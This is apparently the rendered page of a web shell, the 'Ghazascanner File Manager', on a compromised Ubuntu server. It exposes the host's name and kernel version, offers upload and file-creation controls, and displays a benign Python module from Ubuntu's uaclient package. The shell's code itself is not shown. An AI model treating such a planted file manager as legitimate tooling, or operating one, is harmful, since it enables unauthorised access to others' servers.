@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux phpmyadmin-ubuntu-m-2vcpu-16gb-blr1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Current Path :
/
lib
/
python3
/
dist-packages
/
uaclient
/
entitlements
/
Path :
Upload File :
New :
File
Dir
//lib/python3/dist-packages/uaclient/entitlements/__init__.py
from uaclient.entitlements.base import UAEntitlement # noqa: F401 from uaclient.entitlements.cis import CISEntitlement from uaclient.entitlements.cc import CommonCriteriaEntitlement from uaclient.entitlements.esm import ESMAppsEntitlement, ESMInfraEntitlement from uaclient.entitlements import fips from uaclient.entitlements.livepatch import LivepatchEntitlement try: from typing import cast, Dict, List, Type # noqa: F401 except ImportError: # typing isn't available on trusty, so ignore its absence def cast(_, x): # type: ignore return x ENTITLEMENT_CLASSES = [ CommonCriteriaEntitlement, CISEntitlement, ESMAppsEntitlement, ESMInfraEntitlement, fips.FIPSEntitlement, fips.FIPSUpdatesEntitlement, LivepatchEntitlement, ] # type: List[Type[UAEntitlement]] ENTITLEMENT_CLASS_BY_NAME = dict( (cast(str, cls.name), cls) for cls in ENTITLEMENT_CLASSES ) # type: Dict[str, Type[UAEntitlement]]